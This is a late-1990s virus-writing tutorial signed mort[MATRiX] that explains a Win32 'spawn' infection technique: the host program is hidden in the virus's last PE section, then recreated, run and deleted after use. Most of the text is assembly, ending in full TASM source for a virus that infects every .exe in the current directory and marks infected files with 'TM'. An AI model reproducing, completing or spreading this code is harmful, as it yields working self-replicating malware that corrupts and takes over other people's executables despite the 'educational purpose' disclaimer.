spawn.gif (4554 bytes)


This text is for educational purpose only. Author is not responsibile for any damage this informations could cause. Anyway, enjoy it,...

Well, this is my very first article, so i hope u'll be tolerant to my english, and other possible bugs,...anyway if not - fuck u... I managed to create this article, 'coz i havent seen any on this theme.

So, spawn infection. This infection is known from DOS times, when virus rename itself like host but with the COM extensin, and when user typedname of the host, virus was loaded first, it did its work, and then it loaded host. In w32 world, i think there's no possibility of using COM extension at all. I saw some virus, where the host was carried in other file with some other extension. Yes, it is possibility, but i think my method (sure, i dont know, if i invented it, but nobody told me that..) is prettier, 'coz i use only host name, and no other files.


infection idea

Assume, that virus was loaded, infected some files (c later bout this topic), and we're going to load our host file. I said, that i dont use any other file, so where's host? Well, host is in the last section of our virus file. Actually, i remove the host file to last section of virus, and rename virus by the host name. (comment - reality is a little bit different) To load host like a process, we have to create new file and copy there contents of this section. When host'll finished its work, virus delete it (c later bout this topic).

There's one little problem in this part. If we create new file with host name, there'll be two files with same name. Hmmm, i solved it by adding 0ffh byte infront of the name of host. I know it's a little bit strange, but i have no idea how to solve it(if some idea, contact me).

load process

To load a process, we have CreateProcess API. To use it, we need to know some structures. I'll describe them very quickly.

---------------------
.startupinfo structure - there's only one thing u have to set and it is
--------------------- size of structure - cb.
Others fields should be nulls.

...
mov dword ptr [_si.cb],_siSize
...

startUpInfo struct
cb dd ?
lpReserved dd ?
lpDesktop dd ?
lpTitle dd ?
dwX dd ?
dwY dd ?
dwXSize dd ?
dwYSize dd ?
dwXCountChars dd ?
dwYCountChars dd ?
dwFillAttribute dd ?
dwFlags dd ?
wShowWindow dw ?
cbReserved2 dw ?
lpReserved2 dd ?
hStdInput dd ?
hStdOutput dd ?
hStdError dd ?
startUpInfo ends

-----------------------------
.process information structure - this is init by API itself
-----------------------------

process_information struct
hProcess dd ?    ;here'll be new process handle
hThread dd ? ; -//- -//- thread -//-
dwProcessId dd ?
dwThreadId dd ?
process_information ends

-----------------------------
.security attributes structure - this struc gives attributes to new
----------------------------- procces and new threads, so we need
to declare two vars with this struc.


_saProcess security_attributes <>
_saThread security_attributes <>

There're some thing we have to init. First it is size of actuall structure. The next is bInheritHandle. This var can have to state: TRUE or FLASE. We need to inherit handles of new process, to know when the process finished its work.

...
mov dword ptr [_saProcess.nLength],_saSize
mov dword ptr [_saProcess.bInheritHandle],1 ;TRUE
mov dword ptr [_saThread.nLength],_saSize
mov dword ptr [_saThread.bInheritHandle],1 ;TRUE
...

security_attributes struct
nLength dd ?
lpSecurityDescriptor dd ?
bInheritHandle dd ?
security_attributes ends


Finally we can call CreateProcess by this prototype:
(xxxP - pointer)

push process_informationP
push startupinfoP
push current_directoryP ;set to null
push enviroment ;set to null
push create ;set to null
push inherit_handles ;set to 1
push security_attributes_threadP
push security_attributes_processP
push command_lineP
push host_nameP

call CreateProcess


wait for end of host process


Assume, we ran host by CreateProcess API, and we have handle of it. Wehave to wait until the host process will finish it's work. This is done by WaitForSingleObject API.

push timeout        ;time we'll wait for object
push handle        ;handle we wait for

call WaitForSingleObject

return:
eax = 0 - process was finished, we can delete the host file
eax = -1 - some error occured, we can chcek it by GetLastError API

I set timeout to _INFINITE - means, we'll wait until process end.
Naturally, there're other values it could be set.


infection

I know, that there're many ways of spawn infecting, but i'll describe only one - mine. Assume, that we found some file, we want to infect, and we mapped it. We have to allocate space for host.

...
call GlobalAlloc,_MEM_ZEROINIT or _MEM_FIXED,[_memSize]
mov [_memBase],eax

Then we store host to new mem space.

mov edi,eax
mov esi,[_hostMapAddres]
push esi esi                 ;for code below
mov ecx,[_fileSearch.FileSizeLow]
rep movsb

Now, we start copying our virus body to the host file. First, we copy the MZ and PE header

pop edi
mov esi,_imageBase
mov ecx,_1stcopy    ; 02c0h
push edi
rep movsb

Now, we have to look at sections' headers and copy their bodies to be like in EXE file, because what we have now is process.

pop ebx
add ebx,_1stheader ;offset of first section's header
mov ecx,_secCount ;4

@nextSection:
pop edi
push edi ecx
add edi,[ebx + 014h]        ;sec's physical offset
mov ecx,[ebx + 010h]        ;sec's physical size
mov esi,_imageBase
add esi,[ebx + 0ch]        ;virtual offset
rep movsb
add ebx,028h            ;see next sec's header
pop ecx
dec ecx
jnz @nextSection

Now, we copied bodies of four sections, but there're five in our body. (the last one is debug section, bcoz i compile it with debug inf.) We have to set this header to carry our host.

pop edi
push edi
mov eax,[_fileSearch.FileSizeLow]

push eax eax ;for sec allign and for copy

mov ecx,_fileAllign    ;file allign - 0200h - usually ;)
xor edx,edx
div ecx
inc eax
mul ecx ;alligned value of new sec size

mov word ptr [edi + 038h],'TM' ;stupid infection mark,...

add [edi + 0150h],eax ;add image size
add edi,[ebx + 014h] ;where to copy
mov esi,[_memBase] ;offset we stored host
mov [ebx + 010h],eax    ;sec's phys. size

pop eax
mov ecx,_sectionAllign    ;mem allign - 01000h - x86 rulez
xor edx,edx
div ecx
inc eax
mul ecx

mov [ebx + 08h],eax        ;new mem size

pop ecx     ;bytes to copy
rep movsb

pop eax            ;host map addres
xchg edi,eax
sub eax,edi ;new file size: vir + host

mov [_newFileSize],eax    ;for SetFilePointer

call GlobalFree,[_memBase]    ;very usefull


Well, now we have in _hostMapAddres our virus like a valid EXE, with host file in the last section. Now we have to unmap it, and set file pointer to '_newFileSize' value.

execute host


After all infection work, we are going to execute host. We have to create file with host name, (u remember the 0ffh byte,...) map it, and copy there our host from last section.

mov edi,eax                 ;map addres
mov esi,_imageBase + _lastSecOffs    ;lastsecoffset + 014
lodsd                     ;RVA value
add eax,_imageBase
xchg eax,esi
mov ecx,[_hostSize1]
rep movsb

Now, we have to close it, and set structures for CreateProcess API.

mov dword ptr [_si.cb],_siSize
mov dword ptr [_saProcess.nLength],_saSize
mov dword ptr [_saProcess.bInheritHandle],1
mov dword ptr [_saThread.nLength],_saSize
mov dword ptr [_saThread.bInheritHandle],1

And finally:

call CreateProcessA,offset _execName,0,offset _saProcess,
offset _saThread,1,0,0,0,offset _si,offset _pi

And now, there's time for waiting, until process will shut down,...

call WaitForSingleObject,_pi.hProcess,_INFINITE

call CloseHandle,offset _pi.hThread    ;needed
call CloseHandle,offset _pi.hProcess

push offset _execName
call DeleteFileA        ;delete host


Known bug - this version of spawn wont work right with files, which needs some specified command line stuff, but if u understand this article im sure u are able to fix it,...
no mood to do it, anyway, c it in my spawn resident soon

Thats all,...

I include source of my spawn virus. It was made for this article, so there're many ways that could be optimized , added or deleted. It works on w98, so i suppose it works on w95. Anyway im not sure if it works under win NT, bcoz i havent it.

mort[MATRiX]

email - mort.matrix@post.cz
site - http://altern.org/mvx

cut it where u want, but i think heer it'll best

comment "
spawn by mort[MATRiX]

TASM32 /ml /m /zi spawn.asm
TLINK32 -Tpe -aa -c -x -v spawn.obj,,,import32.lib
wcsec spawn.exe            ;ok, pewrsec forewer,...
"

.386
.model flat,stdcall

;------------------------------------------------( externals )-------------

extrn MessageBoxA : proc
extrn ExitProcess : proc
extrn CreateProcessA : proc
extrn FindFirstFileA : proc
extrn FindNextFileA : proc
extrn CreateFileMappingA : proc
extrn MapViewOfFile : proc
extrn UnmapViewOfFile : proc
extrn     SetFileAttributesA : proc
extrn CreateFileA : proc
extrn CloseHandle : proc
extrn GlobalAlloc : proc
extrn GlobalFree : proc
extrn WaitForSingleObject : proc
extrn SetFilePointer : proc
extrn SetEndOfFile : proc
extrn DeleteFileA : proc
extrn GetCommandLineA : proc

;------------------------------------------------( structures )------------

max_path = 260
filetime struc
FT_dwLowDateTime DD ?
FT_dwHighDateTime DD ?
filetime ends

fileSearch struc
FileAttributes DD ?
CreationTime filetime ?
LastAccessTime filetime ?
LastWriteTime filetime ?
FileSizeHigh DD ?
FileSizeLow DD ?
Reserved0 DD ?
Reserved1 DD ?
FileName DB max_path DUP (?)
AlternateFileName DB 13 DUP (?)
DB 3 DUP (?)
fileSearch ends

startUpInfo struct
cb dd ?
lpReserved dd ?
lpDesktop dd ?
lpTitle dd ?
dwX dd ?
dwY dd ?
dwXSize dd ?
dwYSize dd ?
dwXCountChars dd ?
dwYCountChars dd ?
dwFillAttribute dd ?
dwFlags dd ?
wShowWindow dw ?
cbReserved2 dw ?
lpReserved2 dd ?
hStdInput dd ?
hStdOutput dd ?
hStdError dd ?
startUpInfo ends

process_information struct
hProcess dd ?
hThread dd ?
dwProcessId dd ?
dwThreadId dd ?
process_information ends

security_attributes struct
nLength dd ?
lpSecurityDescriptor dd ?
bInheritHandle dd ?
security_attributes ends

;------------------------------------------------( undef data )------------

.data?

_si startUpInfo <>
_pi process_information <>
_saProcess security_attributes <>
_saThread security_attributes <>
_fileSearch fileSearch <>

_hostFileHandle dd ? ;map variables
_hostMapHandle dd ?
_hostMapAddres dd ?
_memSize dd ? ;mem alloc variables
_memBase dd ?
_newFileSize dd ? ;new file size of host

_execName db ?
_hostName1 db 0100h dup(?) ;new of our host
_hostSize1 dd ? ;host file size

;------------------------------------------------( data )------------------

.data

_INFINITE = -1
_CREATE_NEW = 1
_MEM_FIXED = 0
_MEM_ZEROINIT = 040h
_imageBase = 0400000h
_1stcopy = 02c0h ;static part of our exe
_1stheader = 01f8h ;1st header relative
_secCount = 4 ;number of sections we have
_saSize = 12
_piSize = 16
_siSize = 68
_vSize = 04000h        ;i like this number
_lastSecOffs = 01f8h + 4*028h + 0ch
_fileAllign = 0200h
_sectionAllign = 01000h

_title db '.spawn by mort[MATRiX]',0
_mes db 'bleah,...',0
_mask db '*.exe',0

_hostName db 0100h dup(0)
_hostSize dd ?

;------------------------------------------------( code )------------------

.code
@spawn:
mov [_execName],0ffh        ;0ffh shit,...
mov esi,offset _hostName
mov edi,offset _hostName1
mov ecx,0100h
rep movsb
mov eax,[_hostSize]
mov [_hostSize1],eax

call FindFirstFileA,offset _mask,offset _fileSearch
inc eax
jz @noFileInDirectory

@nextFile:
push eax

call @infect

pop eax
dec eax
call FindNextFileA,eax,offset _fileSearch
or eax,eax
jnz @nextFile

@noFileInDirectory:
jmp @exeHost

;------------------------------------( infection )-------------------------
@infect:
call SetFileAttributesA,offset _fileSearch.FileName,080h
call CreateFileA,offset _fileSearch.FileName,/
80000000h or 40000000h,1,0,3,0,0

inc eax
jz @bad1
dec eax

mov [_hostFileHandle],eax
mov ebx,[_fileSearch.FileSizeLow]
mov [_newFileSize],ebx

add ebx,_vSize
push ebx ;save bytes to map
mov [_memSize],ebx ;& store it

call CreateFileMappingA,eax,0,4,0,ebx,0
mov [_hostMapHandle],eax
call MapViewOfFile,eax,2,0,0
mov [_hostMapAddres],eax

cmp word ptr [eax + 038h],'TM'
jz @bad2

call @finalInfection

@bad2:
push dword ptr [_hostMapAddres]
call UnmapViewOfFile
push dword ptr [_hostMapHandle]
call CloseHandle

push 0 0
push [_newFileSize]
push [_hostFileHandle]
call SetFilePointer
push [_hostFileHandle]
call SetEndOfFile

push dword ptr [_hostFileHandle]
call CloseHandle

call SetFileAttributesA,offset _fileSearch.FileName,
[_fileSearch.FileAttributes]

@bad1:
ret

;----------------------------------------( whoops )------------------------
@finalInfection:
mov edi,offset _hostName ;some needed stuff
mov esi,offset _fileSearch.FileName
mov ecx,0100h
rep movsb
mov eax,[_fileSearch.FileSizeLow]
mov [_hostSize],eax

call GlobalAlloc,_MEM_ZEROINIT or _MEM_FIXED,[_memSize]
mov [_memBase],eax

mov edi,eax ;store host
mov esi,[_hostMapAddres]
push esi esi
mov ecx,[_fileSearch.FileSizeLow]
rep movsb

pop edi
mov esi,_imageBase ;copy the static part
mov ecx,_1stcopy
push edi
rep movsb

pop ebx
add ebx,_1stheader
mov ecx,_secCount

@nextSection:
pop edi
push edi ecx
add edi,[ebx + 014h]
mov ecx,[ebx + 010h]
mov esi,_imageBase
add esi,[ebx + 0ch]
rep movsb
add ebx,028h
pop ecx
dec ecx
jnz @nextSection

pop edi
push edi
mov eax,[_fileSearch.FileSizeLow]

push eax eax ;for sec allign and for copy

mov ecx,_fileAllign
xor edx,edx
div ecx
inc eax
mul ecx ;alligned value of new sec size

mov word ptr [edi + 038h],'TM' ;aaaaaaaaaaaaah

add [edi + 0150h],eax ;add image size
add edi,[ebx + 014h] ;where to copy
mov esi,[_memBase]
mov [ebx + 010h],eax
pop eax
mov ecx,_sectionAllign
xor edx,edx
div ecx
inc eax
mul ecx
mov [ebx + 08h],eax

pop ecx ;bytes to copy
rep movsb
pop eax
xchg edi,eax
sub eax,edi ;new file size: vir + host

mov [_newFileSize],eax

call GlobalFree,[_memBase]
ret

;----------------------------------------( execute host )------------------
@exeHost:
cmp [_hostName1],0
jz @firstExecuting

call CreateFileA,offset _execName,80000000h or /
40000000h,1,0,_CREATE_NEW,0,0

mov [_hostFileHandle],eax
mov ebx,[_hostSize1]

call CreateFileMappingA,eax,0,4,0,ebx,0
mov [_hostMapHandle],eax
call MapViewOfFile,eax,2,0,0,[_hostSize1]
mov [_hostMapAddres],eax

mov edi,eax
mov esi,_imageBase + _lastSecOffs
lodsd
add eax,_imageBase
xchg eax,esi
mov ecx,[_hostSize1]
rep movsb

push dword ptr [_hostMapAddres]
call UnmapViewOfFile
push dword ptr [_hostMapHandle]
call CloseHandle
push dword ptr [_hostFileHandle]
call CloseHandle


mov dword ptr [_si.cb],_siSize
mov dword ptr [_saProcess.nLength],_saSize
mov dword ptr [_saProcess.bInheritHandle],1
mov dword ptr [_saThread.nLength],_saSize
mov dword ptr [_saThread.bInheritHandle],1

call CreateProcessA,offset _execName,0,offset _saProcess,offset/
_saThread,1,0,0,0,offset _si,offset _pi

call WaitForSingleObject,_pi.hProcess,_INFINITE

call CloseHandle,offset _pi.hThread
call CloseHandle,offset _pi.hProcess

push offset _execName
call DeleteFileA

@firstExecuting:
call MessageBoxA,0,offset _mes,offset _title,0
call ExitProcess,0

end @spawn